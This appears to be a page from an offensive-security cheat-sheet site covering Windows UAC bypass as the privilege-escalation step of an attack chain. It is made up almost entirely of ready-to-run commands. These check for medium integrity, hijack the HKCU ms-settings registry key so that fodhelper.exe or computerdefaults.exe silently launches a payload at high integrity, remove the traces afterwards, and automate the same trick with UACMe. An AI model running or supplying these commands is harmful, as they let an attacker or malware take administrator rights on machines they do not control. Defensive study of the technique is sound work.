OPSECTLAS you are here: Windows
Windows

UAC Bypass

reference 8 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex
What it is

You are in the local Administrators group but running at medium integrity (a normal shell), so you do not actually hold admin rights until you get past User Account Control. These auto-elevating-binary tricks cross to high integrity with no prompt. Confirm the situation first: whoami /groups | findstr /i "S-1-16-8192" (medium integrity) plus membership in Administrators.

Fodhelper · the classic, no file drop. Point the payload, then trigger.

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Windows\Temp\shell.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe
reg delete "HKCU\Software\Classes\ms-settings" /f

ComputerDefaults · fodhelper alternative, same registry trick

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Windows\Temp\shell.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
computerdefaults.exe

Or automate it: UACMe (akagi) has 70+ methods indexed by build

.\Akagi64.exe 33 C:\Windows\Temp\shell.exe
connected